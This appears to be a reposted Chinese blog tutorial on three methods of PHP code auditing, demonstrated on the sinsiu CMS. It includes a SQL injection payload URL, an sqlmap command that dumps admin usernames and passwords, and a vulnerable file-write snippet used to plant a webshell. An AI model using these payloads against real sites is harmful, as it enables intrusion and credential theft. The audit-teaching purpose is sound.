0x00 前言
0x01 环境准备
0x02 从代码本身找漏洞
-
Seay源代码审计系统 -
Fortify SCA -
RIPS
-
如何通过这些代码的位置定位到功能点的位置。 -
规则匹配导致输出的漏洞点数量远远大于实际的风险漏洞的数量,需要消耗大量的精力复现和筛选,大部分时间都浪费在人工消除误报。
0x03 从功能点调试的方式找漏洞
3.1 admin页面是否存在SQL注入
MySQLMonitor
监听SQL语句的执行情况,找到账号登录时的SQL语句。username = admin' and sleep(2)#
password = 123
'
被转义了。include/function.php:426
safe函数对攻击IP封禁一段时间。include/function.php:74
strict函数将一些危险字符替换成对应的HTML实体,确实可以防护很多的SQL注入攻击。3.2 前台搜索功能点SQL注入漏洞
http://sinsiu:8888/?/search/index.html/key-TEST/
index/module/search_main.php:2:module_search_main()函数
这里是SQL语句直接拼接了,而且不像之前经过过滤。http://sinsiu:8888/?/search/index.html/key-%27UNION%20ALL%20SELECT%20NULL,NULL,database()--%20-
python3 sqlmap.py -u "http://sinsiu:8888/?/search/index.html/key-%27*%20%23/" -v 3 -D susiu -T php_admin -C adm_id,adm_username,adm_password --dump
3.3 后台语言设置Getshell
$path = post('path');
$lang_text = post('lang_text','no_filter');
file_put_contents($path,$lang_text);
$path
过了strict
过滤器,$lang_text
文件内容过了no_filter
过滤器。no_filter
过滤器就转义了一下,几乎相当于没有过滤,我们就可以任意文件写入。//不过滤
function no_filter($str)
{
if(S_MAGIC_QUOTES_GPC)
{
$str = stripslashes($str);
}
return $str;
}
$path
也是可控的,所以就可以很轻松的写入shell。0x04 整体阅读代码
0x05 总结
-
代码本身找漏洞 -
通过功能点调试的方式找漏洞 -
整体阅读代码找漏洞
0xFF 参考链接
-
国光——macOS 下优雅地配置 PHP 代码审计环境 -
-https://www.sqlsec.com/2020/07/macphp.html -
-
国光——PHP代码审计初次尝试之新秀企业网站系统 -
-https://www.sqlsec.com/2020/01/sinsiu.html
●干货|渗透学习资料大集合(书籍、工具、技术文档、视频教程)
如文章对你有帮助,请支持点下“赞”“在看”
本文始发于微信公众号(HACK之道):代码审计常见的三种方法(PHP篇)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论